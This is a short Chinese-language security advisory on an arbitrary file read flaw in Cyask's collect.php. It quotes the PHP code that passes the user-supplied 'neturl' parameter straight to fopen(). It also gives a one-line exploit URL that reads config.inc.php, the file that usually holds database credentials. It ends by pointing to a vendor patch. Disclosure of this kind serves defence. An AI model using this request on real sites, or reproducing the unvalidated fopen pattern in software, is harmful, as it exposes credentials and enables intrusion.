影响版本:

Cyask

程序介绍:

Cyask国内较为多人使用的仿百度风格的Ask系统。

漏洞分析:

从Collect.php代码当中可以看到

else

{

/*

检查网址

*/

$url=get_referer();

$neturl=emptyempty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);

$collect_url=emptyempty($neturl) ? $url : $neturl;

$contents = ”;

if($fid=@fopen($collect_url,”r“))

{

do

{

$data = fread($fid, 4096);

if (strlen($data) == 0)

{

break;

}

$contents .= $data;

}

while(true);

fclose($fid);

}

else

{

show_message(’collect_url_error’, ”);

exit;

}

漏洞利用:

http://www.target.com/collect.php?neturl=config.inc.php

解决方案:

厂商补丁：

cyask

-------

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载